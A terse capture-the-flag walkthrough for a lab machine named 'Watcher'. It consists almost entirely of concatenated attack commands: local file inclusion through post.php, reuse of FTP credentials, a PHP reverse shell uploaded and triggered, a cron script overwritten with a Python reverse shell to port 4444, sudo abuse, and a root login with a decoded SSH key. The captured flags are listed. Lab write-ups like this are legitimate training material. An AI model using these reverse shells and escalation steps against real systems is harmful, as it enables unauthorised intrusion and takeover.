Task 1. Watcher
Work your way through the machine and try to find all the flags you can!
Flag 1
nmap -sSCV <IP>curl -s http://<IP>/robots.txtcurl -s http://<IP>/flag_1.txt
FLAG{robots_dot_text_what_is_next}
Flag 2
curl -s http://<IP>/secret_file_do_not_read.txtcurl -s http://<IP>/post.php?post=/etc/passwdcurl -s http://<IP>/post.php?post=secret_file_do_not_read.txtftp <IP>ftpuser:givemefiles777ls -laget flag_2.txt -
FLAG{ftp_you_and_me}
Flag 3
ftp <IP>ftpuser:givemefiles777cd filesls -laput rev.phpls -lapwdexitcurl -s http://<IP>/post.php?post=/home/ftpuser/ftp/files/rev.phpnc -nlvp 4444python3 -c "import pty;pty.spawn('/bin/bash')"idfind / -type f -name flag_3.txt 2>/dev/nullcat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{lfi_what_a_guy}
Flag 4
find / -type f -name flag_4.txt -exec ls -l {} + 2>/dev/nullsudo -lsudo -u toby /bin/bashcat /home/toby/flag_4.txt
FLAG{chad_lifestyle}
Flag 5
find / -type f -name flag_5.txt -exec ls -l {} + 2>/dev/nullcat note.txtcat /etc/crontabls -l /home/toby/jobs/cow.shcat > /home/toby/jobs/cow.sh << EOF#!/bin/bashpython3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'EOFnc -nlvp 4444python3 -c "import pty;pty.spawn('/bin/bash')"cd /home/matcat flag_5.txt
FLAG{live_by_the_cow_die_by_the_cow}
Flag 6
find / -type f -name flag_6.txt -exec ls -l {} + 2>/dev/nullcat /home/mat/note.txtsudo -lcat /home/mat/scripts/will_script.pycat cmd.pynanocmd.pysudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1nc -nlvp 5555python3 -c "import pty;pty.spawn('/bin/bash')"idcd /home/willcat flag_6.txt
FLAG{but_i_thought_my_script_was_secure}
Flag 7
find / -type f -name flag_7.txt -exec ls -l {} + 2>/dev/nullidfind / -type f -group adm -exec ls -l {} + 2>/dev/nullcat /opt/backups/key.b64 | base64 -d > /home/will/ssh.keychmod 600 ssh.keyssh -i ssh.key root@<IP>cd rootcat flag_7.txt
FLAG{who_watches_the_watchers}